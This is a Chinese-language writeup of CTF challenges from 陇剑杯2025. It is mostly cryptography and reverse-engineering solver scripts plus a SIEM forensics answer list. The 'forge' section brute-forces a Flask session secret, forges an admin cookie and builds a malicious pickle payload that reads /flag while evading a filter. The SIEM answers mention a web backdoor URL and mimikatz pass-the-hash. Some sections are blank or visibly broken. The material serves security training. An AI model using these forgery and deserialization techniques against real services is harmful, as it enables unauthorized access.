
陇剑杯2025 Writeup​

平凉

RSA.iso​

利用已知参数构造一个有限域上的椭圆曲线，并通过Weil配对关系恢复秘密值 pp  的每个字节。对每
组给定的点 (x1,y1), (x2,y2) ，构造可能的椭圆曲线，尝试所有可能的字节值 x_guess ，通
过Weil配对验证正确性，从而逐字节恢复 pp 。​

代码块​

from sage.all import *
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse_mod

# ========== 已知参数 ==========​
exponent_a = 58
prime_r = 677
lcm_255 = reduce(lcm, range(1, 256))
prime_p = 2**exponent_a * prime_r * lcm_255 - 1

# 定义二次扩展域 GF(p^2)，模多项式为 x^2 + 1​
field_F = GF(prime_p**2, modulus=[1, 0, 1], name='i')

# ========== 椭圆曲线定义 ==========​
elliptic_curve_E = EllipticCurve(field_F, [0, 1])
elliptic_curve_E.set_order((prime_p + 1)**2)

# 将输入点 P 和 Q 显式转换为椭圆曲线上的点​
P = elliptic_curve_E(P)
Q = elliptic_curve_E(Q)

# 计算标准 Weil 配对​
weil_reference = P.weil_pairing(Q, prime_p + 1)

# ========== 恢复 pp 的字节 ==========​
recovered_bytes = []

for point_pair in gift:
    (x1, y1), (x2, y2) = point_pair

    # 计算椭圆曲线参数 aa 和 bb​
    v1 = y1**2 - x1**3
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    v2 = y2**2 - x2**3
    delta_v = v1 - v2
    delta_x = x1 - x2
    aa = delta_v / delta_x
    bb = v1 - aa * x1

    # 构造对应的椭圆曲线​
    curve_i = EllipticCurve(field_F, [aa, bb])

    # 定义该曲线上的点​
    pt_p = curve_i(x1, y1)
    pt_q = curve_i(x2, y2)

    found = False
    for byte_candidate in range(1, 256):
        order_candidate = 2**exponent_a * byte_candidate
        try:
            # 计算 Weil 配对​
            weil_current = pt_p.weil_pairing(pt_q, prime_p + 1)
            # 检查配对是否匹配预期​
            if weil_current == weil_reference ** order_candidate:
                recovered_bytes.append(byte_candidate)
                print(f"成功恢复字节: {byte_candidate}")
                found = True
                break
        except:
            continue

    if not found:
        raise ValueError("无法恢复字节，请检查输入数据是否完整")

# ========== 拼接恢复的 pp ==========​
pp = int.from_bytes(bytes(reversed(recovered_bytes)), byteorder='big')
print(f"恢复的 pp 值为: {pp}")

# ========== 恢复 qq 并解密 RSA ==========​
qq = n // pp
phi = (pp - 1) * (qq - 1)
private_exponent = inverse_mod(e, phi)

decrypted_message = pow(c, private_exponent, n)
flag = long_to_bytes(decrypted_message)
print("Flag:", flag)
#flag{S1mple_Is0geNy_7r1ck_t0_Recov3r_Fla9}

Lesscommon​
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D-810去除控制流平坦化。​

动调拿到完整的密钥，即 v13 。接着分析加密函数，写出取逆脚本​

代码块​

#include <stdint.h>
#include <stdio.h>

#define ROTL(x, y) (((x) << (y & 0x1F)) | ((x) >> (0x20 - (y & 0x1F))))
#define ROTR(x, y) (((x) >> (y & 0x1F)) | ((x) << (0x20 - (y & 0x1F))))

unsigned char data[] = {
    0x4C, 0x6F, 0xAB, 0xF3, 0x13, 0x78, 0xE2, 0xF6, 0x86, 0x9D, 
    0x1C, 0x99, 0xDE, 0x85, 0xCC, 0x10, 0xE8, 0x28, 0xEE, 0x05, 
    0x92, 0x21, 0x4B, 0x34, 0x43, 0x28, 0x17, 0x3C, 0x56, 0x5B, 
    0x73, 0x51, 0x9F, 0x8A, 0x1D, 0x0F, 0x97, 0x34, 0x2C, 0x56, 
    0x42, 0x9F, 0x69, 0x48, 0xA3, 0xD5, 0x8A, 0xF5
};

unsigned char key[] = {
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    0xB4, 0x75, 0x90, 0xE2, 0x59, 0x85, 0xF2, 0xBB, 0xAA, 0xA3, 
    0xCE, 0x01, 0xA9, 0x06, 0x2F, 0xC3, 0xD2, 0xCB, 0x2B, 0x32, 
    0xFD, 0x47, 0x69, 0x4B, 0x76, 0x96, 0x5A, 0xC6, 0xDE, 0x21, 
    0xEC, 0xE6, 0x79, 0x46, 0x0D, 0xFC, 0xE4, 0x7B, 0xAD, 0xFB, 
    0x32, 0x20, 0x6A, 0x1E, 0x99, 0x07, 0x15, 0x47, 0x3F, 0x73, 
    0xA5, 0xFC, 0x1C, 0xFD, 0xD2, 0xD7, 0x3D, 0x92, 0x57, 0xA9, 
    0xC6, 0xD5, 0xA4, 0x94, 0xA8, 0xAB, 0xEB, 0xD8, 0xE0, 0xCB, 
    0x21, 0x73, 0x17, 0x04, 0x0E, 0x5A, 0x44, 0x42, 0xF7, 0xA9, 
    0xBD, 0xAD, 0x16, 0x46, 0xC4, 0x25, 0x09, 0xFB, 0xCC, 0x9A, 
    0x8F, 0x16, 0xE2, 0xF2, 0x6A, 0xBE, 0xA9, 0x3B, 0x03, 0xDB, 
    0x0E, 0x83, 0xA2, 0xFF
};

void decrypt(unsigned int *data, unsigned int *key, int rounds)
{
    unsigned int t0,t1;
    unsigned int d0 = data[0];
    unsigned int d1 = data[1];
    for(int i=rounds;i>0 ;i--)
    {
        t0 = ROTR((d0^d1),d0) - key[2*i+1];
        t1 = ROTR((t0^d0),t0) - key[2*i];
        d1 = t0;
        d0 = t1;
    }
    data[0] = d0 - key[0];
    data[1] = d1 - key[1];
}

int main()
{
    unsigned int *Data = (unsigned int *)data;
    unsigned int *Key = (unsigned int *)key;
    for(int i=0; i<6; i++)
    {
        decrypt(Data+2*i,Key,12);
    }
    printf("%s",data);
    return 0;
}

天水

HashBaseWorld​
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利用 Wagner 攻击求解近似碰撞，绕过挑战中的哈希前像验证。通过构造具有相同哈希后缀的多个消

息，使用自定义生成器和 SHA3-512 计算哈希值，并在指定数 n  下求模，最终找到满足条件的解并发
送以获取 flag。​

代码块​

import wagner
import secrets
import hashlib
from pwnlib.tubes.remote import remote

# 设置连接​
connection = remote("pwn-e3e657e2e3.challenge.longjiancup.cn", 9999, ssl=True)

# 发送初始数据​
def send_initial_data():
    connection.recvuntil(b"x: ")
    connection.sendline(b"f" * 128)
    connection.recvuntil(b"y: ")
    connection.sendline(b"f" * 127 + b"F")
    connection.recvuntil(b"z: ")
    connection.sendline(b"f" * 126 + b"FF")

send_initial_data()

# 获取后缀​
connection.recvuntil(b"ends with ")
suffix_hex = connection.recvline().strip().decode()
suffix_data = bytes.fromhex(suffix_hex)
modulus = 4722366482869645213711

# 哈希函数实现​
def compute_hash(random_value, modulus_value):
    byte_length = (modulus_value.bit_length() + 7) // 8
    random_bytes = random_value.to_bytes(byte_length, 'big')
    combined_data = random_bytes + suffix_data
    hash_result = hashlib.sha3_512(combined_data).digest()
    return int.from_bytes(hash_result, 'big') % modulus_value

# 生成器函数​
def create_generator(modulus_value, idx):
    random_val = secrets.randbelow(modulus_value)
    return wagner.Lineage(compute_hash(random_val, modulus_value), random_val)

# 解决Wagner算法​
def solve_challenge():
    return wagner.solve(n=modulus, tree_height=3, generator=create_generator)
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messages = solve_challenge()

# 发送结果​
def send_results(msg_list):
    byte_len = (modulus.bit_length() + 7) // 8
    for msg in msg_list:
        msg_bytes = msg.to_bytes(byte_len, 'big')
        combined = msg_bytes + suffix_data
        connection.sendlineafter(b"msg: ", combined.hex().encode())

send_results(messages)

# 交互模式​
connection.interactive()

flag{900vGcuHBgJpqTaU3HIgCV9bg05M8TeJ}

Siem​

代码块​

flag1:攻击者的ip是什么
192.168.41.143
flag2:在攻击时间段一共有多少个终端会话登录成功
13
flag3:攻击者遗留的后门系统用户是什么
hacker
flag4:提交攻击者试图用命令行请求网页的完整url地址
http://192.168.41.136/.back.php?pass=id
flag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID
1734511987.34749419
flag6:提交攻击者对域攻击所使用的工具
mimikatz
flag7:提交攻击者删除DC桌面上的文件名
ossec.conf
flag格式：flag{md5(flag1-flag2-flag3-...-flag6-flag7)}
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2​

没找到，手动爆破尝试

3​

4​



5​

6​



7​

Prover​

代码块​

from z3 import *

def rol_z3(x, r):
    return RotateLeft(x, r % 8)
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def rol4_z3(x, r):
    return RotateLeft(x, r % 32)

def rol8_z3(x, r):
    return RotateLeft(x, r % 64)

def main():
    byte_6085 = [0x03, 0x05, 0x09, 0x0B, 0x0D]
    byte_608A = [0xA5, 0x5C, 0xC3, 0x96, 0x3E, 0xD7, 0x21]
    
    s = Solver()
    c = [BitVec(f"c{i}", 8) for i in range(22)]
    
    known = list(b"flag{????????????????}")
    for i in range(len(known)):
        if known[i] != ord("?"):
            s.add(c[i] == known[i])
    
    for i in range(5, 21):
        s.add(Or(And(c[i] >= 0x30, c[i] <= 0x39), And(c[i] >= 0x61, c[i] <= 
0x66)))
    
    v59 = []
    for i in range(22):
        v57 = c[i]
        v56 = byte_6085[i % 5] * v57 + 19 * i + 79
        v55 = byte_608A[i % 7] ^ v56
        v54 = rol_z3(v55, i % 5)
        v59.append(v54)

    v50 = v51 = v52 = v53 = 0
    for i in range(22):
        v48 = v59[i]
        v53 += ZeroExt(8, v48)
        v52 ^= v48
        v51 += (i + 1) * v48
        count = 0
        for i in range(8):
            count += If(Extract(i, i, v48) == 1, 1, 0)
        v50 += count
    
    s.add(v50 == 0x50)
    s.add(v51 == 0x43)
    s.add(v52 == 0x55)
    s.add(v53 == 0x913)
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    v38 = []
    v47 = v59 + [BitVecVal(0, 8), BitVecVal(0, 8)]
    for i in range(0, 22, 4):
        v38.append(
            ZeroExt(24, v47[i + 3]) << 24
            | ZeroExt(24, v47[i + 2]) << 16
            | ZeroExt(24, v47[i + 1]) << 8
            | ZeroExt(24, v47[i])
        )
    
    v21 = v38[0]
    v20 = rol4_z3(v21, 5)
    v37 = (v38[2] - 1640531527) ^ v20
    v18 = v38[4] ^ 0xDEADBEEF
    v19 = v38[7 % 6]
    v36 = (rol4_z3(v19, 11) + v18 + v37) ^ 0xA5A5A5A5
    s.add(v36 == 0x66F3589F)
    
    v16 = -2048144789 * v38[1]
    v17 = v38[5]
    v35 = rol4_z3(v17, 13) + v16
    v15 = v38[8 % 6] + 2135587861
    v13 = (668265261 * v38[3]) ^ v15 ^ v35
    v14 = v38[9 % 6]
    v34 = (rol4_z3(v14, 17) + v13) ^ 0x5A5AA5A5
    s.add(v34 == 0xEF965596)
    
    v12 = v38[0]
    v33 = v38[3] ^ v12 ^ 0x13579BDF
    v11 = v38[1]
    v10 = v38[2]
    v32 = rol4_z3(v10, 7) + v11
    for m in range(2):
        v9 = rol4_z3((m ^ 2654435769) - 0x7A143595 * v32, 5 * m + 5)
        v30 = rol4_z3(v32, 11) ^ v32 ^ v9 ^ v33
        v33 = v32
        v32 = v30
    
    s.add(v32 + v33 == 0xA5A5A5A5 ^ 0x8A7C3796)
    v8 = rol4_z3(v33, 3)
    v29 = (rol4_z3(v32, 11) + v8) ^ 0x5A5AA5A5
    s.add(v29 == 0x71F58527)

    v5 = 0x243F6A8885A308D3
    for i in range(22):
        v1 = ZeroExt(56, v59[i])
        v5 = rol8_z3(0x9E3779B185EBCA87 * (v5 ^ (v1 << (8 * (i & 0x7)))), 13)
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    v3 = 0x94D049BB133111EB * (
        (0xBF58476D1CE4E5B9 * (v5 ^ (v5 >> 30)))
        ^ ((0xBF58476D1CE4E5B9 * (v5 ^ (v5 >> 30))) >> 27)
    )
    v28 = v3 ^ (v3 >> 31)
    
    # Check and print solution
    if s.check() == sat:
        model = s.model()
        result = bytes([model.eval(c[i]).as_long() for i in range(22)])
        print(f"Solution found: {result}")
    else:
        print("No solution found")

if __name__ == "__main__":
    main()
    
# Solution found: b'flag{7ac1d3e59f0b2468}'

临洮

forge​

登陆失败会返回 Session ，看起来像 flask 的 session ，直接 flask-unsign 跑一梭子

代码块​

$ flask-unsign --unsign --cookie 
"eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIm9ubHkgYWRtaW4gY2FuIGxvZ2luIl19XX0.aL
wG6A.5Vek6i-skgqsMvvHjs8G5Re05UU"

代码块​

[*] Session decodes to: {'_flashes': [('message', 'only admin can login')]}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[+] Found secret key after 23552 attemptsvateKeyWreAM
'your_secret_key_here'

得到 secret_key ，伪造登陆，因为这里不知道具体的鉴权参数就fuzz一下，最后确定的是
user_id
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代 块flask-unsign --sign --cookie "{'user_id':1}" --secret your_secret_key_here

代码块​

eyJ1c2VyX2lkIjoxfQ.aLwIMQ.e-aEh508DiB84R3khQ0DSS3s1Vc

替换 cookie 就可以登陆。
后台是一个上传 pkl 文件并进行 pickle 反序列化的地方，第一层过滤严格，第二层有绕过的空
间，利用 pathlib 和 unicode 编码绕过，实现文件读取

代码块​

import pickle  
    
class CHIKAWA:    def __init__(self):        self.model_name = 'Evil'        
self.data 
=b'c__builtin__\ngetattr\np0\n(cpathlib\nPath\np1\nVread_text\np2\ntp3\nRp4\n(c
pathlib\nPosixPath\np5\n(V\u002f\u0066\u006c\u0061\u0067\np6\ntp7\nRp8\ntp9\nRp
10\n.'        self.parameters = ''  
open("exp.pkl","wb").write(pickle.dumps(CHIKAWA()))

EzHNP​

https://github.com/jvdsn/crypto-attacks/blob/master/attacks/hnp/extended_hnp.py​

代码块​

from crypto_attacks.attacks.hnp.extended_hnp import attack as 
solve_extended_hnp
from hashlib import md5

# 定义挑战数据​
challenge_data = {
    "xbar": 
6230571424256507423383041619040773193281502336394655417141506264860271328376921
980229171467976006972819513904910559251760894872160616346970979997089071104,
    "p": 
9310958934555393410991830649894096338583606764543221272689047126385507082474315
722946163597015284233384459024239244386201586544274989818077718839180384609,
    "Pi": [0, 24, 140, 230],
    "Nu": [16, 72, 56, 32],
    "Alpha": [
        
7906150610450629442443122370683940726111394835191669659587253402297907896617441
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954268388587428760969427058519284510136572664304052108032215285347471752066,
        
6577148665258898902997158733759846438956554327786818438123114318982472349176751
028176807903006138256649357314558789302950465136106300407054894211626235191,
        
6207107528603184306454785232009996858281199854204694515938209234986384659076217
566339267880286833374497494415958744069132078079198418909255477303683212815,
        
8440034688771249975883038253766735730159632875811418290418641960305538029450281
996285487821372046437129235457229315613741058219991425045376785696428344117,
        
3142430063725675648135892664105137833065607473012912856763696296724396189168912
436276337081294171964231166712029669109980851550594427325343869953917651451
    ],
    "Rho": [
        [
            
6013041642993482675342256176021828639250290537664369194835535994982758705185570
869438400037513398183123758887606024391013412354678986870608295039395870950,
            
2757288012680210285594725632927166009215124338158417928079814199556696947722793
042154227446444404802217169247427492719976679147854713007657342142727301010,
            
4699069445241583375853227883328010158649997400320648732868194677988750741279431
530472527985208625858712958828279336379981803397928442607378597230647012636
        ],
        [
            
5045677648260009306709931105231345399494626776892085130814243732330056019644097
698344837879079706418885141241543129431244389724733425375412259753276032813,
            
3776680943415546908571777417819535438857733977328075477790969367729396833259514
335195291868381962791987064606127848368324232466236749124012860415520217916,
            
2855855516652989367647902617515751946850598912029047546480545162881560926888648
558283851743547620219378178736701242307097205589585379293356754141495924851
        ],
        [
            
3672179270685619587519254711407148177620752059057417870292657693176041956892702
919011538784812280255319904858291492209754049497275990249877751846100558654,
            
2113695641247088496259273079959563136912662433672292008246871690037530071960968
517276506969814380247408377179207858342877339943628756055363777092235059935,
            
5620147125815585832354988505738888674721971954046688918107926881721148705180745
03377536855728523794279663918988447017835892898888122674995512183575655633

12

13

14

15

16
17
18
19

20

21

22
23
24

25

26

27
28
29

30

31



        ],
        [
            
7350227478538037016270509732902483687258147026984657075175888459049586448064405
800505443915586483551602578205293488952412549968920938878904349965331578988,
            
8025055426811453598268152387376504465949559734229578369246747072634340175048266
803129660710463024796264986952411204592761942057804226775885800622665313535,
            
6196479835385658112968086437618178072286266547026637264184289507325665170158930
041506052222739670486451498520609755242878401775574194311024404224687980256
        ],
        [
            
7895107635472009951863547078822234464367917657240875800514680064064504309994070
112452216760155011647552524571806030444035609947350051477111388171275950558,
            
3422336328505142392487226875720897396933698768704136608994371117262688509127637
985957656895657327103928270930510786041022633408995951557895072775650767010,
            
7407529406252031145755888551044620622077237778924700902534182421589103747060132
902330186901106571358164191231301032624792368050578500161716753908106198324
        ]
    ],
    "Mu": [
        [36, 52, 28],
        [36, 52, 28],
        [36, 52, 28],
        [36, 52, 28],
        [36, 52, 28]
    ],
    "Beta": [
        
7783186468773046816984954231282610243554922855664304049600696481041520045155550
995853435513497971509007001046377716738966581280754145489128779857337101998,
        
7825718567359332090338847050502466270063339531818963395684143814406680219256795
053320062023681506978987705475878271125296471563761418065656175941156784607,
        
7761682634625972699137378357029719208686584894836201317099328367010754112153017
830783397686873917934576743698406973181813026836139579026162155266117071076,
        
8114108391193892800828539257573327849733181469975833079505665447116237573717361
949376884965060706046649321482602402718695636282878809588458465219327519354,
        
1958074913992250867838317021323029853103403192779311370447119574038919733821501
96088077261528370468647612722746478797243898369670934414257735681526745085
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    ]
}

def extract_parameters(data_dict):
    return (
        data_dict["xbar"],
        data_dict["p"],
        data_dict["Pi"],
        data_dict["Nu"],
        data_dict["Alpha"],
        data_dict["Rho"],
        data_dict["Mu"],
        data_dict["Beta"]
    )

def compute_md5_hash(input_string):
    return md5(input_string.encode()).hexdigest()

def main():
    x_bar, prime, pi_list, nu_list, alpha_list, rho_list, mu_list, beta_list = 
extract_parameters(challenge_data)
    
    # 解决扩展HNP问题​
    solutions = list(solve_extended_hnp(x_bar, prime, pi_list, nu_list, 
alpha_list, rho_list, mu_list, beta_list))
    
    if solutions:
        solution_x = solutions[0]
        print(f"Found solution: {solution_x}")
        
        hash_result = compute_md5_hash(str(solution_x))
        flag = f"flag{{{hash_result}}}"
        print(f"Generated flag: {flag}")
    else:
        print("No solution found")

if __name__ == "__main__":
    main()

flag{67f56be77ad87032f8a91070057184bf}​

兰州

Dragon​
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通过动调摸清程序的大概流程

xxtea的魔改部分：​

1. MX内部的位移量被修改了​

2. delta为 0x87654321 ；​

3. 轮数是固定的默认值，和n无关​

代码块​

#include <stdint.h>
#include <stdio.h>

#define ROTL(x, y) (((x) << (y & 0x1F)) | ((x) >> (0x20 - (y & 0x1F))))
#define ROTR(x, y) (((x) >> (y & 0x1F)) | ((x) << (0x20 - (y & 0x1F))))

unsigned int data[] = {
    0x0EB4D6CE, 0x521DDE8B, 0x21ED24FD, 0xBA10EC26,
    0x3339931C, 0x46DC0E7D, 0xCC469F44, 0x64BA7079,
    0x64777977, 0xB2151C98, 0xDBCC5AA1
};

unsigned int key[] = {
    0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210
};

void xxtea_decry(
    unsigned int *data, 
    unsigned int *key,
    unsigned int n,
    unsigned int rounds)
{
    unsigned int e, y, z;
    unsigned int delta = 0x87654321, number;
    //rounds = 6 + 52/n;
    number = delta * rounds;
    do
    {
        e = (number >> 2) & 3;
        for (int i = n-1; i>=0; i--)
        {
            y = data[(i+1)%n];
            z = data[(i+n-1)%n];
            
            data[i] -= ((z<<4 ^ y>>5) + (y<<4 ^ z>>5)) ^ ((number ^ y) + (z 
^key[(e ^ i)&3]));
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        }
        number -= delta;
    } while (--rounds);
}

int main()
{
    //unsigned int *Data = (unsigned int *)data;
    //unsigned int *Key = (unsigned int *)key;
    for(int i=0; i<4; i++)
    {
        key[i] = ROTL((key[i] ^ 0x13579BDF),7);
    }
    xxtea_decry(data,key,11,42);
    printf("%s",(char*)data);
    return 0;
}

武威

Qrandom​

通过分析111组概率和异或密文（prob,  xor_hex），利用概率估算密钥比特的汉明重量，建立整数线

性规划（ILP）模型，求解出32字节的secret。再用其MD5作为AES密钥，CTR模式解密末尾密文，恢

复出flag。核心是将概率信息转化为线性约束，通过ILP精确恢复秘密值。​

代码块​

# qrandom_recover.py
# 从 output.txt 恢复 256-bit secret，并使用 AES-CTR 解密密文​
# 核心思想：通过差分消去 S，利用相关性估计和 CP-SAT/局部搜索优化解​

import re
from pathlib import Path
from hashlib import md5
from Crypto.Cipher import AES

try:
    from ortools.sat.python import cp_model
    OR_TOOLS_AVAILABLE = True
except ImportError:
    OR_TOOLS_AVAILABLE = False

def hex_to_bit_list(hex_str: str):
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    """将十六进制字符串转换为按 MSB 到 LSB 排列的位列表"""
    result = []
    for byte in bytes.fromhex(hex_str):
        for bit in range(7, -1, -1):  # 高位到低位​
            result.append((byte >> bit) & 1)
    if len(result) != 256:
        raise ValueError("预期 256 位 hex 输入")
    return result

def parse_output_file(file_path="output.txt"):
    """解析输出文件，提取数据对和密文"""
    lines = [line.strip() for line in Path(file_path).read_text().splitlines() 
if line.strip()]
    if len(lines) < 3 or (len(lines) - 1) % 2 != 0:
        raise ValueError("文件格式错误：应为 (浮点数, hex) * N + 最后一行密文")

    data_pairs = [(float(lines[i]), lines[i+1]) for i in range(0, 
len(lines)-1, 2)]
    cipher_hex = lines[-1]

    delta_values = []
    y_bit_lists = []
    for probability, hex_value in data_pairs:
        weight = int(round(probability * 256))  # 预期 key 的汉明重量​
        y_bits = hex_to_bit_list(hex_value)     # y = secret ^ key
        hamming_weight_y = sum(y_bits)
        delta = weight - hamming_weight_y
        delta_values.append(delta)
        y_bit_lists.append(y_bits)

    base_index = 0
    D_matrix = []
    target_deltas = []

    for i in range(len(delta_values)):
        if i == base_index:
            continue
        delta_diff = delta_values[base_index] - delta_values[i]
        if delta_diff % 2 != 0:
            raise ValueError("Delta 奇偶性不一致，输入可能损坏")
        target_deltas.append(delta_diff // 2)
        row = [y_bit_lists[i][j] - y_bit_lists[base_index][j] for j in 
range(256)]
        D_matrix.append(row)

    return D_matrix, target_deltas, cipher_hex
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def initial_guess(D, deltas):
    """基于相关性估计的初始猜测"""
    scores = [0] * 256
    for i, delta in enumerate(deltas):
        for j, coefficient in enumerate(D[i]):
            if coefficient != 0:
                scores[j] += delta * coefficient

    threshold = max(1, len(deltas) // 4)
    return [1 if score > threshold else 0 for score in scores], scores

def local_search_refinement(D, deltas, initial_guess_bits, max_iterations=4):
    """通过局部搜索优化初始解"""
    m, n = len(deltas), len(initial_guess_bits)
    row_sums = [sum(D[i][j] * initial_guess_bits[j] for j in range(n)) for i in
 range(m)]

    def compute_cost():
        return sum(abs(row_sums[i] - deltas[i]) for i in range(m))

    best_cost = compute_cost()
    iteration = 0
    improved = True

    while improved and best_cost > 0 and iteration < max_iterations:
        improved = False
        iteration += 1

        for j in range(n):
            cost_change = 0
            for i in range(m):
                if D[i][j] != 0:
                    old_cost = abs(row_sums[i] - deltas[i])
                    new_row_sum = row_sums[i] + (D[i][j] if 
initial_guess_bits[j] == 0 else -D[i][j])
                    new_cost = abs(new_row_sum - deltas[i])
                    cost_change += (new_cost - old_cost)

            if cost_change < 0:
                # 翻转该位​
                initial_guess_bits[j] = 1 - initial_guess_bits[j]
                for i in range(m):
                    if D[i][j] != 0:
                        row_sums[i] += D[i][j] * (1 if initial_guess_bits[j] 
else -1)
                best_cost += cost_change
                improved = True
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    return initial_guess_bits, best_cost == 0

def decrypt_secret(secret_bits, cipher_hex):
    """将位列表转换为 secret，并用 AES-CTR 解密"""
    secret_bytes = bytearray()
    for chunk in range(0, 256, 8):
        byte_val = 0
        for bit in range(8):
            byte_val = (byte_val << 1) | secret_bits[chunk + bit]
        secret_bytes.append(byte_val)

    aes_key = md5(secret_bytes).digest()
    cipher = AES.new(key=aes_key, mode=AES.MODE_CTR, nonce=b"suan")
    plaintext = cipher.decrypt(bytes.fromhex(cipher_hex))
    try:
        print("[+] Flag:", plaintext.decode())
    except UnicodeDecodeError:
        print("[+] 非 UTF-8 明文:", plaintext)

def main():
    D, deltas, cipher_hex = parse_output_file("output.txt")
    guess, _ = initial_guess(D, deltas)

    if not OR_TOOLS_AVAILABLE:
        refined_secret, success = local_search_refinement(D, deltas, 
guess.copy())
        if not success:
            print("[!] 本地搜索未完全收敛，尝试解密中...")
        decrypt_secret(refined_secret, cipher_hex)
        return

    # 使用 OR-Tools 构建 CP-SAT 模型​
    model = cp_model.CpModel()
    secret_vars = [model.NewBoolVar(f"secret_bit_{i}") for i in range(256)]

    for i, delta in enumerate(deltas):
        positive_terms = [secret_vars[j] for j in range(256) if D[i][j] == 1]
        negative_terms = [secret_vars[j] for j in range(256) if D[i][j] == -1]
        model.Add(sum(positive_terms) - sum(negative_terms) == delta)

    # 提供初始猜测作为启发式​
    for idx, val in enumerate(guess):
        model.AddHint(secret_vars[idx], int(val))

    solver = cp_model.CpSolver()
    solver.parameters.num_search_workers = 8
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    status = solver.Solve(model)

    if status in (cp_model.OPTIMAL, cp_model.FEASIBLE):
        final_secret = [int(solver.Value(var)) for var in secret_vars]
    else:
        print("[!] CP-SAT 未找到解，回退至本地搜索...")
        final_secret, _ = local_search_refinement(D, deltas, guess.copy())

    decrypt_secret(final_secret, cipher_hex)

if __name__ == "__main__":
    main()
#flag{cat_alive_cat_dead_cat_flag_e7ce8d437b5f}

张掖

Ez RSA​

通过 Coppersmith 攻击找到 delta ，再计算 gcd  恢复 N  的一个非平凡因子 g ，分解得到质因
数 p  和 q ​

代码块​

# rsa_factorization.sage
from sage.all import *
from hashlib import md5

# ========== 替换为题目提供的参数 ==========​
public_exponent1 = Integer("65537")
modulus_N        = Integer("")
public_exponent2 = Integer("")
# ==========================================

# 初始化代数结构​
modular_ring = Zmod(modulus_N)
polynomial_ring = PolynomialRing(modular_ring, 'x')
polynomial_var = polynomial_ring.gen()

# 计算核心系数​
multiplier = (public_exponent1 * public_exponent2) % modulus_N
difference = (public_exponent2 - public_exponent1) % modulus_N

# 尝试直接获取非平凡因子​
factor_candidate = gcd(multiplier, modulus_N)
if factor_candidate not in [1, modulus_N]:
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    primary_factor = factor_candidate
else:
    # 构造单变量线性多项式​
    multiplier_inverse = inverse_mod(multiplier, modulus_N)
    constant_term = (multiplier_inverse * difference) % modulus_N
    
    target_polynomial = polynomial_var - modular_ring(constant_term)
    
    # 多阶段小根搜索策略​
    search_bounds = [2**k for k in [512, 560, 600, 660, 720, 800, 880]]
    confidence_levels = [0.60, 0.70, 0.80, 0.90, 0.95]
    
    root_found = None
    for bound in search_bounds:
        for confidence in confidence_levels:
            small_roots = target_polynomial.small_roots(X=bound, 
beta=confidence)
            if small_roots:
                root_candidate = Integer(small_roots[0])
                # 根据小根计算因数​
                potential_factor = gcd(
                    public_exponent1 * public_exponent2 * root_candidate - 
difference,
                    modulus_N
                )
                if potential_factor not in [1, modulus_N]:
                    root_found = root_candidate
                    primary_factor = potential_factor
                    break
            else:
                root_found = None
        if root_found is not None:
            break
    
    if root_found is None or primary_factor in [1, modulus_N]:
        print("[!] 小根搜索失败，请调整搜索参数后重试")
        exit(1)

# 提取最大素因子​
prime_factors = factor(primary_factor)
largest_prime = max(prime_factors, key=lambda x: x[0].nbits())[0]
prime_power = valuation(modulus_N, largest_prime)
secondary_factor = modulus_N // (largest_prime ** prime_power)

# 输出分解结果​
print(f"[+] 主素数位数: {largest_prime.nbits()}  幂次: {prime_power}  次素数位数: 
{secondary_factor.nbits()}")
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# 生成最终flag​
hash_input = str(largest_prime).encode()
digest_value = md5(hash_input).hexdigest()
final_flag = f"flag{{{digest_value}}}"
print(f"[+] 解密结果: {final_flag}")
#flag{fed177cf9f68e191a1dc46089788aa0e}
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